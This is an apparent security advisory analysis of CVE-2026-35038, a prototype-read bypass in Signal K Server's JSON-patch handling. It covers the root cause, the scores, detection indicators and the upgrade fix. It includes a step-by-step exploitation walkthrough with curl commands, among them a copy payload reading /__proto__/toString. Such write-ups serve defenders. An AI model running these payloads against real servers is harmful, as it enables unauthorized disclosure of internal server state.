CVE-2026-35038: 
JavaScript vulnerability analysis and mitigation

CVE-2026-35038 is an arbitrary prototype read vulnerability in Signal K Server, a Node.js-based hub application used on boats for marine data aggregation. The flaw exists in all versions prior to 2.24.0 and allows a low-privileged authenticated user to bypass prototype boundary filtering via the from field in JSON-patch operations, extracting internal functions and properties from the global prototype object. It was published on April 2, 2026, with the patch released in version 2.24.0. The vulnerability carries a CVSS v3.1 score of 6.5 (Medium) and a CVSS v4.0 score of 2.1 (Low) (Github Advisory, SignalK Advisory).

The root cause lies in the hasPrototypePollutionPatch function in src/interfaces/applicationData.js (lines 48–57), which validates incoming JSON-patch objects against a list of dangerous path segments (__proto__, constructor, prototype) but only inspects the patch.path field — completely ignoring patch.from (SignalK Advisory). JSON-patch operations such as copy and move use the from field to resolve source data, so an attacker can craft a payload with from pointing to /__proto__/someProperty while using a benign path value, bypassing the guard entirely. The underlying jsonpatch.apply() call then natively resolves the from path, successfully reading prototype-level properties. This is classified under CWE-20 (Improper Input Validation), CWE-125 (Out-of-bounds Read), and CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) (Github Advisory).

Successful exploitation allows a low-privileged authenticated user to exfiltrate internal Node.js functions and prototype state (e.g., toString, other built-in methods) into their own application data namespace, violating data isolation boundaries. The vulnerability has no impact on integrity or availability, and does not enable arbitrary code execution since the destination path field remains protected from prototype pollution writes. The primary risk is unauthorized disclosure of internal server state, which could potentially be leveraged to fingerprint the runtime environment or inform further attacks (SignalK Advisory, Github Advisory).

A proof-of-concept exploit consisting of concrete curl commands with specific JSON-patch payloads is publicly documented in the official security advisory (SignalK Advisory). Exploitation requires a valid low-privileged account on the Signal K Server instance but no other preconditions. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.084%, indicating a low near-term exploitation probability (Github Advisory).

1. Obtain credentials: Acquire a low-privileged authenticated account on the target Signal K Server instance (e.g., via self-registration if open, or compromised credentials).
2. Authenticate and retrieve a token: Log in to the Signal K Server and obtain a Bearer token for use in API requests.
3. Confirm the guard is active: Send a blocked payload to verify the prototype pollution guard is functioning:

curl -X POST http://<target>:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'

Expected result: 400 Bad Request - invalid patch path 4. Execute the bypass: Send a malicious JSON-patch copy operation using the from field to target a prototype property while using a safe path value:

curl -X POST http://<target>:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'

Expected result: 200 OK - ApplicationData saved 5. Retrieve exfiltrated data: Query the application data endpoint to read the copied prototype property now stored under /stolen in the attacker's application data namespace (SignalK Advisory).

• Network: HTTP POST requests to /signalk/v1/applicationData/global/<app>/<version> containing JSON bodies with "op": "copy" or "op": "move" and a from field referencing /__proto__/, /constructor/, or /prototype/ path segments.
• Logs: Signal K Server access logs showing 200 OK responses to POST requests on the applicationData endpoint with JSON-patch payloads that include from fields containing prototype-related path segments; absence of 400 Bad Request responses for such payloads indicates the unpatched version is in use.
• Application Data: Unexpected keys (e.g., stolen, or keys containing serialized function references) appearing in stored application data for user namespaces, particularly values that resemble JavaScript function objects or internal Node.js prototype properties (SignalK Advisory).

The fix is available in Signal K Server version 2.24.0, which updates the hasPrototypePollutionPatch function to also validate the from field against the dangerous path segment list (SignalK v2.24.0 Release). Administrators should upgrade to v2.24.0 or later as the primary remediation. As interim workarounds, restrict network access to the Signal K Server to trusted users only, and implement network segmentation to limit which users can authenticate to the service (Github Advisory).

The vulnerability was reported by researcher VashuVats and published by Signal K maintainer tkurki via GitHub's security advisory process. No significant broader media coverage or notable community commentary beyond the advisory itself has been identified at this time (SignalK Advisory).